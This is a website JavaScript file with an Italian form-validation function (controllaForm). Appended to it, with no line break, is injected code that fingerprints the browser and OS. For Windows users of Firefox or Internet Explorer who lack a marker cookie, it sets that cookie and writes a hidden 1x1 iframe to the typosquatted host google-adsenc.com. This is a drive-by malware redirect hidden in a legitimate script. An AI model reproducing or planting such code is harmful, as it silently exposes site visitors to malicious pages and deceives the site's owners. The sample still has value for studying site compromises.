function controllaForm (objForm)
	{
			try
			{
				var str_errori = '';
				var segnato = false;
				var checkbox_presente = false;
				var numEl = objForm.elements.length;
				
				for (x=0;x<numEl;x++)
				{
					if (objForm.elements[x].id == 'controlla')
					{
						if (objForm.elements[x].value == '')
						{
							str_errori += '\ncompilare il campo obbligatorio ' + objForm.elements[x].name;
						}
					}
		
					if (objForm.elements[x].name == 'email' && objForm.elements[x].value != '')
					{
						var valCampoMail = objForm.elements[x].value;
						if (valCampoMail.indexOf('@') == -1 || valCampoMail.indexOf('@') == '' )
						{
							str_errori += '\nmail non corretta';
						} else
						{
							indice = valCampoMail.indexOf('@');
							if (valCampoMail.indexOf('.',indice) == -1)
							{
								str_errori += '\nmail non corretta';
							}
						}
					}
					
				}
				
				if (str_errori != '')
				{
					var regexp = /_/g;
					//str_errori.replace(regexp," ");
					alert (str_errori.replace(regexp," "));
					//alert (str_errori);
					return false;
				}
			return true;
		}
		catch (e)
		{
			window.status = e.message;
		}
	}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}